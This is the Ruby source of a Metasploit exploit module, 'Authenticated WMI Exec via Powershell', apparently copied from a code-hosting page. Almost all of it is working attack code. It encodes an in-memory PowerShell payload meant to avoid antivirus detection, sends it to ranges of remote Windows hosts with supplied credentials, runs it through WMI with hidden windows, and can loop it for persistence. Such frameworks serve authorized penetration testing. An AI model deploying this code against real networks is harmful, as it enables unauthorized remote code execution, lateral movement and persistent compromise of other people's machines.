182 lines
6.5 KiB
Ruby
182 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Powershell
|
|
include Msf::Exploit::Powershell::DotNet
|
|
include Msf::Post::Windows::Priv
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Authenticated WMI Exec via Powershell",
|
|
'Description' => %q{
|
|
This module uses WMI execution to launch a payload instance on a remote machine.
|
|
In order to avoid AV detection, all execution is performed in memory via psh-net
|
|
encoded payload. Persistence option can be set to keep the payload looping while
|
|
a handler is present to receive it. By default the module runs as the current
|
|
process owner. The module can be configured with credentials for the remote host
|
|
with which to launch the process.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
'Payload' => { 'Space' => 8192 },
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Universal', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate'=> '2012-08-19'
|
|
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
|
|
OptString.new('USERNAME', [false, "Username to authenticate as"]),
|
|
OptString.new('PASSWORD', [false, "Password to authenticate with"]),
|
|
OptString.new('DOMAIN', [false, "Domain or machine name"]),
|
|
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('PowerShellPersist', [false, 'Run the payload in a loop']),
|
|
OptBool.new('RunRemoteWow64', [
|
|
false,
|
|
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
|
false
|
|
]),
|
|
|
|
])
|
|
|
|
end
|
|
|
|
def build_script
|
|
run_opts = {}
|
|
run_opts[:username] = datastore['USERNAME']
|
|
run_opts[:domain] = datastore['DOMAIN'] || '.'
|
|
run_opts[:password] = datastore['PASSWORD']
|
|
|
|
# End of file marker
|
|
eof = Rex::Text.rand_text_alpha(8)
|
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
|
|
|
# Create base64 encoded payload
|
|
psh_payload_raw = Msf::Util::EXE.to_win32pe_psh_reflection(framework, payload.raw)
|
|
if datastore['PowerShellPersist']
|
|
fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
|
|
sleep_time = rand(5)+5
|
|
psh_payload = "function #{fun_name}{#{psh_payload}};while(1){Start-Sleep -s #{sleep_time};#{fun_name};1}"
|
|
end
|
|
psh_payload = encode_script(compress_script(psh_payload_raw, eof), eof)
|
|
# WMI exec function - this is going into powershell.rb after pull 701 is commited
|
|
script = ps_wmi_exec(run_opts)
|
|
# Build WMI exec calls to every host into the script to reduce PS instances
|
|
# Need to address arch compat issue here, check powershell.exe arch, check pay arch
|
|
# split the hosts into wow64 and native, and run each range separately
|
|
ps_bin = datastore['RunRemoteWow64'] ? 'cmd /c %windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
|
# for whatever reason, passing %systemroot% instead of 'C:\windows' fails
|
|
|
|
if datastore["RHOSTS"]
|
|
# Iterate through our hosts list adding a call to the WMI wrapper for each.
|
|
# This should learn to differentiate between hosts and call WOW64 as appropriate,
|
|
# as well as putting the payload into a variable when many hosts are hit so the
|
|
# uploaded script is not bloated since each encoded payload is bulky.
|
|
|
|
Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |host|
|
|
if run_opts[:username] and run_opts[:password]
|
|
script << " New-RemoteProcess -rhost \"#{host}\" -login \"#{run_opts[:domain]}\\#{run_opts[:username]}\""
|
|
script << " -pass '#{run_opts[:password]}' -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
|
|
else
|
|
script << " New-RemoteProcess -rhost \"#{host}\" -cmd \"#{ps_bin} -EncodedCommand #{psh_payload}\";"
|
|
end
|
|
end
|
|
else
|
|
print_status('Running Locally')
|
|
script = psh_payload_raw
|
|
end
|
|
return script
|
|
end
|
|
|
|
def exploit
|
|
# Make sure we meet the requirements before running the script
|
|
unless have_powershell?
|
|
fail_with(Failure::BadConfig, 'PowerShell not found')
|
|
end
|
|
|
|
|
|
# SYSTEM doesnt have credentials on remote hosts
|
|
if is_system? and datastore['RHOSTS']
|
|
print_error("Cannot run as local system on remote hosts")
|
|
return 0
|
|
end
|
|
|
|
script = build_script
|
|
|
|
if datastore['Powershell::Post::dry_run']
|
|
print_good script
|
|
return
|
|
end
|
|
|
|
begin
|
|
psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)
|
|
print_good(psh_output)
|
|
rescue Rex::TimeoutError => e
|
|
elog(e)
|
|
end
|
|
|
|
vprint_good('PSH WMI exec is complete.')
|
|
end
|
|
|
|
# Wrapper function for instantiating a WMI win32_process
|
|
# class object in powershell.
|
|
# Insantiates the [wmiclass] object and configures the scope
|
|
# Sets impersonation level and injects credentials as needed
|
|
# Configures application startup options to hide the newly
|
|
# created window. Adds start-up check for remote proc.
|
|
def ps_wmi_exec(opts = {})
|
|
|
|
ps_wrapper = <<EOS
|
|
Function New-RemoteProcess {
|
|
Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)
|
|
$ErrorActionPreference="SilentlyContinue"
|
|
$proc = [WMIClass]"\\\\$rhost\\root\\cimv2:Win32_Process"
|
|
EOS
|
|
if opts[:username] and opts[:password]
|
|
ps_wrapper += <<EOS
|
|
$proc.psbase.Scope.Options.userName = $login
|
|
$proc.psbase.Scope.Options.Password = $pass
|
|
EOS
|
|
end
|
|
ps_wrapper += <<EOS
|
|
$proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate
|
|
$proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy
|
|
$startup = [wmiclass]"Win32_ProcessStartup"
|
|
$startup.Properties['ShowWindow'].value=$False
|
|
$remote = $proc.Create($cmd,'C:\\',$startup)
|
|
if ($remote.returnvalue -eq 0) {
|
|
Write-Host "Successfully launched on $rhost with a process id of" $remote.processid
|
|
} else {
|
|
Write-Host "Failed to launch on $rhost. ReturnValue is" $remote.ReturnValue
|
|
}
|
|
}
|
|
|
|
EOS
|
|
|
|
return ps_wrapper
|
|
end
|
|
end
|
|
|
|
|
|
#
|
|
# Ideally the methods to create WMI wrapper functions and their callers
|
|
# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb.
|
|
#
|